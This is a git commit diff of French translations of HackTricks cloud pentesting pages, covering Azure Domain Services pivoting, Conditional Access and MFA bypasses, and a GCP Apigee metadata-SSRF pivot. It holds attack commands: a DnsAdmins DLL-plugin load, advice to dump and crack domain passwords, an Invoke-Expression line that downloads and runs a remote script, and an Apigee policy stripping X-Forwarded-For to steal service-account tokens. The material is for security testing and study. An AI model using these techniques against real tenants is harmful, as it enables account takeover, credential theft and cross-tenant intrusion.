Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-02-12 13:32:53 +00:00
parent 09c1dc104d
commit fd43eca329
5 changed files with 143 additions and 74 deletions

View File

@@ -1,11 +1,12 @@
Vous pouvez supprimer ce contenu avant d'envoyer la PR :
## Attribution
Nous valorisons vos connaissances et vous encourageons à partager du contenu. Veuillez vous assurer que vous ne téléchargez que du contenu que vous possédez ou pour lequel vous avez la permission de le partager de l'auteur original (ajoutant une référence à l'auteur dans le texte ajouté ou à la fin de la page que vous modifiez ou les deux). Votre respect des droits de propriété intellectuelle favorise un environnement de partage fiable et légal pour tous.
Nous apprécions vos connaissances et vous encourageons à partager du contenu. Veuillez vous assurer de téléverser uniquement du contenu que vous possédez ou pour lequel vous avez la permission de le partager de la part de l'auteur original (en ajoutant une référence à l'auteur dans le texte ajouté ou à la fin de la page que vous modifiez, ou les deux). Votre respect des droits de propriété intellectuelle favorise un environnement de partage digne de confiance et légal pour tout le monde.
## HackTricks Training
Si vous ajoutez afin de pouvoir passer l'examen de la [certification ARTE](https://training.hacktricks.xyz/courses/arte) avec 2 drapeaux au lieu de 3, vous devez appeler la PR `arte-<username>`.
If you are sending a PR so you can pass the in the [ARTE certification](https://hacktricks-training.com/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`, `grte-<username>` or `azrte-<username>`, depending on the certification you are doing.
De plus, rappelez-vous que les corrections de grammaire/syntaxe ne seront pas acceptées pour la réduction de drapeaux d'examen.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
Dans tous les cas, merci de contribuer à HackTricks !
In any case, thanks for contributing to HackTricks!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
> <summary>Soutenez HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@@ -4,42 +4,42 @@
## Domain Services
Microsoft Entra Domain Services permet de déployer un Active Directory dans Azure sans avoir besoin de gérer les contrôleurs de domaine (en fait, vous n'y avez même pas accès).
Microsoft Entra Domain Services permet de déployer un Active Directory dans Azure sans avoir à gérer des Domain Controllers (en réalité vous n'y avez même pas accès).
Son objectif principal est de vous permettre d'exécuter des applications héritées dans le cloud qui ne peuvent pas utiliser des méthodes d'authentification modernes, ou lorsque vous ne souhaitez pas que les recherches dans l'annuaire retournent toujours à un environnement AD DS sur site.
Son objectif principal est de vous permettre d'exécuter des applications legacy dans le cloud qui ne peuvent pas utiliser des méthodes d'authentification modernes, ou lorsque vous ne voulez pas que les recherches d'annuaire renvoient systématiquement à un environnement AD DS on-premise.
Notez que pour synchroniser les utilisateurs générés dans Entra ID (et non synchronisés à partir d'autres annuaires actifs) avec le service de domaine AD, vous devez **changer le mot de passe de l'utilisateur** pour un nouveau afin qu'il puisse être synchronisé avec le nouvel AD. En fait, l'utilisateur n'est pas synchronisé de Microsoft Entra ID vers les Domain Services tant que le mot de passe n'est pas changé.
Notez que pour synchroniser les utilisateurs créés dans Entra ID (et non synchronisés depuis d'autres annuaires Active Directory) vers le service de domaine AD, vous devez **changer le mot de passe de l'utilisateur** pour un nouveau afin qu'il puisse être synchronisé avec le nouvel AD. En fait, l'utilisateur n'est pas synchronisé depuis Microsoft Entra ID vers Domain Services tant que le mot de passe n'a pas été changé.
> [!WARNING]
> Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines mauvaises configurations), ce qui signifie qu'en règle générale, vous ne pouvez pas créer d'utilisateurs directement dans l'AD. Vous les créez en **synchronisant des utilisateurs depuis Entra ID.** Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés depuis d'autres AD sur site), uniquement les utilisateurs cloud (utilisateurs créés dans Entra ID), ou même **les filtrer davantage**.
> Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines misconfigurations), ce qui signifie que par défaut par exemple vous ne pouvez pas créer d'utilisateurs directement dans l'AD. Vous les créez en **synchronisant les utilisateurs depuis Entra ID.** Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés depuis d'autres AD on-premise), uniquement les utilisateurs cloud (créés dans Entra ID), ou même les **filtrer davantage**.
> [!NOTE]
> En général, en raison du manque de flexibilité dans la configuration du nouveau domaine et du fait que les AD sont généralement déjà sur site, ce n'est pas l'intégration principale entre Entra ID et AD, mais il est tout de même intéressant de savoir comment le compromettre.
> En général, en raison du manque de flexibilité dans la configuration du nouveau domaine et du fait que les AD sont généralement déjà on-premise, ce n'est pas la principale intégration entre Entra ID et AD, mais il est quand même intéressant de savoir comment le compromettre.
### Pivoting
Les membres du groupe généré **`AAD DC Administrators`** se voient accorder des permissions d'administrateur local sur les VM qui sont jointes au domaine géré (mais pas dans les contrôleurs de domaine) car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser **Remote Desktop pour se connecter à distance aux VM jointes au domaine**, et sont également membres des groupes :
Les membres du groupe généré **`AAD DC Administrators`** se voient accorder des permissions d'administrateur local sur les VMs jointes au domaine géré (mais pas sur les domain controllers), car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser **Remote Desktop pour se connecter à distance aux VMs jointes au domaine**, et sont aussi membres des groupes suivants :
- **`Denied RODC Password Replication Group`** : Il s'agit d'un groupe qui spécifie les utilisateurs et groupes dont les mots de passe ne peuvent pas être mis en cache sur les RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`** : Ce groupe permet aux membres de créer des stratégies de groupe dans le domaine. Cependant, ses membres ne peuvent pas appliquer de stratégies de groupe aux utilisateurs ou groupes ni modifier les GPO existantes, donc ce n'est pas très intéressant dans cet environnement.
- **`DnsAdmins`** : Ce groupe permet de gérer les paramètres DNS et a été abusé par le passé pour [escalader des privilèges et compromettre le domaine](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), cependant après avoir testé l'attaque dans cet environnement, il a été vérifié que la vulnérabilité est corrigée :
- **`Group Policy Creators Owners`** : Ce groupe permet à ses membres de créer des Group Policies dans le domaine. Cependant, ses membres ne peuvent pas appliquer des Group Policies aux utilisateurs ou groupes ni éditer des GPOs existants, donc ce n'est pas très intéressant dans cet environnement.
- **`DnsAdmins`** : Ce groupe permet de gérer les paramètres DNS et a été abusé par le passé pour [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), cependant après avoir testé l'attaque dans cet environnement, il a été vérifié que la vulnérabilité est corrigée :
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Notez que pour accorder ces autorisations, à l'intérieur de l'AD, le groupe **`AAD DC Administrators`** est devenu membre des groupes précédents, et également le GPO **`AADDC Computers GPO`** ajoute en tant qu'administrateurs locaux tous les membres du groupe de domaine **`AAD DC Administrators`**.
Notez que pour accorder ces permissions, dans l'AD le groupe **`AAD DC Administrators`** est ajouté comme membre des groupes précédents, et la GPO **`AADDC Computers GPO`** ajoute en tant qu'administrateurs locaux tous les membres du groupe de domaine **`AAD DC Administrators`**.
Le pivotement d'Entra ID vers un AD créé avec Domain Services est simple, il suffit d'ajouter un utilisateur dans le groupe **`AAD DC Administrators`**, d'accéder via RDP à n'importe quelle/toutes les machines du domaine et vous pourrez voler des données et également **compromettre le domaine.**
Le pivot depuis Entra ID vers un AD créé avec Domain Services est simple : il suffit d'ajouter un utilisateur au groupe **`AAD DC Administrators`**, d'accéder via RDP à n'importe quelle machine du domaine et vous pourrez voler des données et aussi **compromettre le domaine.**
Cependant, le pivotement du domaine vers Entra ID n'est pas aussi facile car rien du domaine n'est synchronisé dans Entra ID. Cependant, vérifiez toujours les métadonnées de toutes les VM jointes car leurs identités gérées assignées pourraient avoir des autorisations intéressantes. De plus, **dump toutes les mots de passe des utilisateurs du domaine** et essayez de les craquer pour ensuite vous connecter à Entra ID / Azure.
En revanche, pivoter du domaine vers Entra ID n'est pas aussi simple car rien du domaine n'est synchronisé dans Entra ID. Cependant, vérifiez toujours les metadata de toutes les VMs jointes, car leurs managed identities assignées pourraient avoir des permissions intéressantes. Faites aussi un **dump de tous les mots de passe des utilisateurs du domaine** et essayez de les crack pour ensuite vous connecter à Entra ID / Azure.
> [!NOTE]
> Notez qu'auparavant, d'autres vulnérabilités dans cet AD géré ont été trouvées, permettant de compromettre les DC, [comme celle-ci](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaquant compromettant le DC pourrait très facilement maintenir la persistance sans que les administrateurs Azure ne s'en aperçoivent ou même ne puissent l'enlever.
> Notez que par le passé d'autres vulnérabilités dans cet AD géré ont été trouvées, permettant de compromettre les DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaquant compromettant le DC pouvait très facilement maintenir une persistence sans que les admins Azure ne s'en aperçoivent ou ne puissent même la supprimer.
### Énumération
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
@@ -59,7 +59,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

View File

@@ -1,16 +1,16 @@
# Az - Politiques d'accès conditionnel et contournement MFA
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Informations de base
Les politiques d'accès conditionnel Azure sont des règles établies dans Microsoft Azure pour appliquer des contrôles d'accès aux services et applications Azure en fonction de certaines **conditions**. Ces politiques aident les organisations à sécuriser leurs ressources en appliquant les bons contrôles d'accès dans les bonnes circonstances.\
Les politiques d'accès conditionnel **définissent** essentiellement **Qui** peut accéder à **Quoi** depuis **Où** et **Comment**.
Les Azure Conditional Access policies sont des règles configurées dans Microsoft Azure pour appliquer des contrôles d'accès aux services et applications Azure en fonction de certaines **conditions**. Ces policies aident les organisations à sécuriser leurs ressources en appliquant les contrôles d'accès appropriés selon les circonstances.\
Les Conditional access policies définissent essentiellement **Qui** peut accéder **Quoi** depuis **Où** et **Comment**.
Voici quelques exemples :
1. **Politique de risque de connexion** : Cette politique pourrait être configurée pour exiger une authentification multifacteur (MFA) lorsqu'un risque de connexion est détecté. Par exemple, si le comportement de connexion d'un utilisateur est inhabituel par rapport à son modèle habituel, comme se connecter depuis un pays différent, le système peut demander une authentification supplémentaire.
2. **Politique de conformité des appareils** : Cette politique peut restreindre l'accès aux services Azure uniquement aux appareils conformes aux normes de sécurité de l'organisation. Par exemple, l'accès pourrait être autorisé uniquement depuis des appareils disposant d'un logiciel antivirus à jour ou exécutant une certaine version du système d'exploitation.
1. **Sign-In Risk Policy** : cette policy peut être configurée pour exiger une authentification multifacteur (MFA) lorsqu'un risque de connexion est détecté. Par exemple, si le comportement de connexion d'un utilisateur est inhabituel par rapport à son modèle habituel, comme une connexion depuis un autre pays, le système peut demander une authentification supplémentaire.
2. **Device Compliance Policy** : cette policy peut restreindre l'accès aux services Azure uniquement aux appareils conformes aux normes de sécurité de l'organisation. Par exemple, l'accès pourrait être autorisé uniquement depuis des appareils disposant d'un antivirus à jour ou exécutant une certaine version du système d'exploitation.
## Énumération
```bash
@@ -22,75 +22,75 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
```
## Contournements des politiques d'accès conditionnel
Il est possible qu'une politique d'accès conditionnel **vérifie certaines informations qui peuvent être facilement manipulées, permettant ainsi de contourner la politique**. Et si, par exemple, la politique configurait MFA, l'attaquant pourra la contourner.
Il est possible qu'une politique d'accès conditionnel vérifie **des informations qui peuvent être facilement falsifiées, permettant ainsi un contournement de la politique**. Et si par exemple la politique configurait la MFA, l'attaquant pourra la contourner.
Lors de la configuration d'une politique d'accès conditionnel, il est nécessaire d'indiquer les **utilisateurs** concernés et les **ressources cibles** (comme toutes les applications cloud).
Lors de la configuration d'une politique d'accès conditionnel il faut indiquer les **utilisateurs** affectés et les **ressources cibles** (comme all cloud apps).
Il est également nécessaire de configurer les **conditions** qui **déclencheront** la politique :
Il faut aussi configurer les **conditions** qui vont **déclencher** la politique :
- **Réseau** : IP, plages IP et emplacements géographiques
- Peut être contourné en utilisant un VPN ou un Proxy pour se connecter à un pays ou en réussissant à se connecter depuis une adresse IP autorisée
- **Risques Microsoft** : Risque utilisateur, risque de connexion, risque interne
- **Plateformes de dispositifs** : Tout dispositif ou sélectionner Android, iOS, Windows phone, Windows, macOS, Linux
- Si “Tout dispositif” n'est pas sélectionné mais que toutes les autres options sont sélectionnées, il est possible de le contourner en utilisant un user-agent aléatoire non lié à ces plateformes
- **Applications clientes** : Les options sont “Navigateur”, “Applications mobiles et clients de bureau”, “Clients Exchange ActiveSync” et “Autres clients”
- Pour contourner la connexion avec une option non sélectionnée
- **Filtre pour dispositifs** : Il est possible de générer une règle liée au dispositif utilisé
- **Flux d'authentification** : Les options sont “Flux de code de dispositif” et “Transfert d'authentification”
- Cela n'affectera pas un attaquant à moins qu'il n'essaie d'abuser de l'un de ces protocoles dans une tentative de phishing pour accéder au compte de la victime
- **Network**: Ip, IP ranges and geographical locations
- Peut être contourné en utilisant un VPN ou un proxy pour se connecter depuis un pays autorisé ou en réussissant à se connecter depuis une adresse IP autorisée
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
- Si “Any device” n'est pas sélectionné mais que toutes les autres options le sont, il est possible de le contourner en utilisant un user-agent aléatoire non lié à ces plateformes
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
- Pour contourner, se connecter avec une option qui n'est pas sélectionnée
- **Filter for devices**: Il est possible de générer une règle liée à l'appareil utilisé
- **Authentication flows**: Options are “Device code flow” and “Authentication transfer
- Cela n'affectera pas un attacker à moins qu'il n'essaie d'abuser de l'un de ces protocoles dans une tentative de phishing pour accéder au compte de la victime
Les **résultats** possibles sont : Bloquer ou Accorder l'accès avec des conditions potentielles comme exiger MFA, que le dispositif soit conforme
Les **résultats** possibles sont : Bloquer ou Accorder l'accès avec des conditions potentielles comme exiger la MFA, que l'appareil soit compliant
### Plateformes de dispositifs - Condition de dispositif
### Device Platforms - Device Condition
Il est possible de définir une condition basée sur la **plateforme de dispositif** (Android, iOS, Windows, macOS...), cependant, cela est basé sur le **user-agent** donc il est facile de contourner. Même **en rendant toutes les options obligatoires pour MFA**, si vous utilisez un **user-agent qui n'est pas reconnu,** vous pourrez contourner le MFA ou le blocage :
Il est possible de définir une condition basée sur la **plateforme de l'appareil** (Android, iOS, Windows, macOS...), cependant, cela se base sur le **user-agent** donc c'est facile à contourner. Même **en exigeant la MFA pour toutes les options**, si vous utilisez un **user-agent qui n'est pas reconnu,** vous pourrez contourner la MFA ou le blocage :
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Il suffit de faire en sorte que le navigateur **envoie un user-agent inconnu** (comme `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) pour ne pas déclencher cette condition.\
Il suffit que le navigateur **envoie un user-agent inconnu** (comme `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) pour ne pas déclencher cette condition.\
Vous pouvez changer le user agent **manuellement** dans les outils de développement :
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
Ou utiliser une [extension de navigateur comme celle-ci](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Ou utiliser une [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Emplacements : Pays, plages IP - Condition de dispositif
### Locations: Countries, IP ranges - Device Condition
Si cela est défini dans la politique conditionnelle, un attaquant pourrait simplement utiliser un **VPN** dans le **pays autorisé** ou essayer de trouver un moyen d'accéder depuis une **adresse IP autorisée** pour contourner ces conditions.
Si cela est défini dans la politique conditionnelle, un attacker peut simplement utiliser un **VPN** dans le **pays autorisé** ou essayer de trouver un moyen d'accéder depuis une **adresse IP autorisée** pour contourner ces conditions.
### Applications Cloud
### Cloud Apps
Il est possible de configurer des **politiques d'accès conditionnel pour bloquer ou forcer** par exemple MFA lorsqu'un utilisateur essaie d'accéder à une **application spécifique** :
Il est possible de configurer des **politiques d'accès conditionnel pour bloquer ou forcer**, par exemple, la MFA lorsqu'un utilisateur tente d'accéder à une **application spécifique** :
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Pour essayer de contourner cette protection, vous devriez voir si vous pouvez **vous connecter uniquement à une application**.\
L'outil [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) a **des dizaines d'ID d'application codés en dur** et essaiera de se connecter à eux et vous informera et vous donnera même le token si cela réussit.
Pour essayer de contourner cette protection, vous devez voir si vous pouvez **seulement into any application**.\
L'outil [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) contient **des dizaines d'IDs d'applications en dur** et tentera de se connecter à celles-ci, vous informera et vous donnera même le token si réussi.
Afin de **tester des ID d'application spécifiques dans des ressources spécifiques**, vous pourriez également utiliser un outil tel que :
Pour **tester des IDs d'application spécifiques dans des ressources spécifiques** vous pouvez aussi utiliser un outil tel que :
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
De plus, il est également possible de protéger la méthode de connexion (par exemple, si vous essayez de vous connecter depuis le navigateur ou depuis une application de bureau). L'outil [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) effectue certaines vérifications pour essayer de contourner ces protections également.
De plus, il est aussi possible de protéger la méthode de connexion (par ex. si vous tentez de vous connecter depuis le navigateur ou depuis une application desktop). L'outil [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) effectue quelques vérifications pour tenter de contourner ces protections.
L'outil [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) pourrait également être utilisé à des fins similaires bien qu'il semble non maintenu.
L'outil [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) peut aussi être utilisé à des fins similaires, bien qu'il semble non maintenu.
L'outil [**ROPCI**](https://github.com/wunderwuzzi23/ropci) peut également être utilisé pour tester ces protections et voir s'il est possible de contourner les MFA ou les blocages, mais cet outil fonctionne d'une perspective **whitebox**. Vous devez d'abord télécharger la liste des applications autorisées dans le locataire, puis il essaiera de se connecter à celles-ci.
L'outil [**ROPCI**](https://github.com/wunderwuzzi23/ropci) peut également être utilisé pour tester ces protections et vérifier s'il est possible de contourner les MFA ou les blocages, mais cet outil fonctionne selon une perspective **whitebox**. Vous devez d'abord télécharger la liste des Apps autorisées dans le tenant, puis il tentera de s'y connecter.
## Autres contournements de MFA Az
## Autres contournements MFA Az
### Sonnerie
Une option Azure MFA est de **recevoir un appel au numéro de téléphone configuré** où il sera demandé à l'utilisateur de **envoyer le caractère `#`**.
Une option d'Azure MFA est de **recevoir un appel sur le numéro de téléphone configuré** où il sera demandé à l'utilisateur d'**envoyer le caractère `#`**.
> [!CAUTION]
> Comme les caractères ne sont que des **tons**, un attaquant pourrait **compromettre** le message de **messagerie vocale** du numéro de téléphone, configurer comme message le **ton de `#`** et ensuite, lors de la demande de MFA, s'assurer que le **téléphone de la victime est occupé** (en l'appelant) afin que l'appel Azure soit redirigé vers la messagerie vocale.
> Comme les caractères ne sont que des **tonalités**, un attaquant pourrait **compromettre** le message de **boîte vocale** du numéro, configurer comme message la **tonalité de `#`**, puis, lors de la demande MFA, s'assurer que le **téléphone de la victime est occupé** (en l'appelant) pour que l'appel Azure soit redirigé vers la messagerie vocale.
### Appareils conformes
Les politiques demandent souvent un appareil conforme ou MFA, donc un **attaquant pourrait enregistrer un appareil conforme**, obtenir un **jeton PRT** et **contourner ainsi le MFA**.
Les politiques demandent souvent un appareil conforme ou un MFA, donc un **attaquant pourrait enregistrer un appareil conforme**, obtenir un **PRT** et **contourner ainsi le MFA**.
Commencez par enregistrer un **appareil conforme dans Intune**, puis **obtenez le PRT** avec :
```bash
@@ -112,29 +112,29 @@ Trouvez plus d'informations sur ce type d'attaque sur la page suivante :
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Ce script récupère des identifiants d'utilisateur et vérifie s'il peut se connecter à certaines applications.
Ce script récupère des identifiants utilisateur et vérifie s'il peut se connecter à certaines applications.
Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader des privilèges**.
Ceci est utile pour vérifier si vous **n'êtes pas obligé d'utiliser MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalate privileges**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Récupérer toutes les politiques
Récupère toutes les politiques
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep est un script PowerShell qui tente de **se connecter à divers services Microsoft en utilisant un ensemble de credentials fournis et essaiera d'identifier si MFA est activé**. Selon la façon dont les politiques d'accès conditionnel et d'autres paramètres d'authentification multi-facteurs sont configurés, certains protocoles peuvent finir par être laissés en facteur unique. Il dispose également d'une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS sur site s'il est détecté.
MFASweep est un script PowerShell qui tente de **se connecter à divers services Microsoft en utilisant un jeu d'identifiants fournis et d'identifier si MFA est activé**. Selon la configuration des conditional access policies et des autres paramètres d'authentification multi-facteurs, certains protocoles peuvent rester à un seul facteur. Il inclut aussi une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS on-prem si celui-ci est détecté.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Cet outil a aidé à identifier les contournements MFA et à abuser des API dans plusieurs locataires AAD de production, où les clients AAD croyaient avoir MFA appliqué, mais l'authentification basée sur ROPC a réussi.
Cet outil a aidé à identifier des MFA bypasses puis à abuser des APIs dans plusieurs locataires AAD en production, où des clients AAD croyaient que le MFA était appliqué, mais l'authentification basée sur ROPC a réussi.
> [!TIP]
> Vous devez avoir les autorisations pour lister toutes les applications afin de pouvoir générer la liste des applications à forcer.
> Vous devez disposer des autorisations pour lister toutes les applications afin de pouvoir générer la liste des apps à brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,25 +143,25 @@ Cet outil a aidé à identifier les contournements MFA et à abuser des API dans
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token est un ensemble de fonctions visant à aider les consultants en sécurité qui doivent valider les politiques d'accès conditionnel, tester les portails Microsoft avec 2FA activé, etc..
Donkey token est un ensemble de fonctions visant à aider les consultants en sécurité qui doivent valider les Conditional Access Policies, effectuer des tests pour les portails Microsoft avec 2FA activé, etc.
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Testez chaque portail** s'il est possible de **se connecter sans MFA** :
**Testez chaque portail** pour vérifier s'il est possible de **login sans MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Parce que le **portail** **Azure** n'est **pas contraint**, il est possible de **rassembler un jeton à partir de l'endpoint du portail pour accéder à tout service détecté** par l'exécution précédente. Dans ce cas, Sharepoint a été identifié, et un jeton pour y accéder est demandé :
Parce que le **Azure** **portal** n'est **pas restreint**, il est possible de **récupérer un token depuis l'endpoint du portal pour accéder à n'importe quel service détecté** par l'exécution précédente. Dans ce cas Sharepoint a été identifié, et un token pour y accéder est demandé:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supposons que le jeton ait la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
Si le token possède la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint via le web à cause de MFA, il est possible d'utiliser le token généré pour accéder aux fichiers :
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -0,0 +1,68 @@
# GCP - Apigee Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
Un seul projet tenant Apigee peut être abusé pour atteindre le serveur de métadonnées du Message Processor, voler son compte de service, et pivoter vers un pipeline d'analytics Dataflow partagé qui lit/écrit des buckets inter-locataires.
### Expose the metadata server through Apigee
- Définissez la target du proxy Apigee sur `http://169.254.169.254` et demandez des tokens depuis `/computeMetadata/v1/instance/service-accounts/default/token` avec `Metadata-Flavor: Google`.
- Le serveur de métadonnées GCP rejette les requêtes contenant `X-Forwarded-For` ; Apigee l'ajoute par défaut. Supprimez-le avec `AssignMessage` avant de relayer la requête :
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
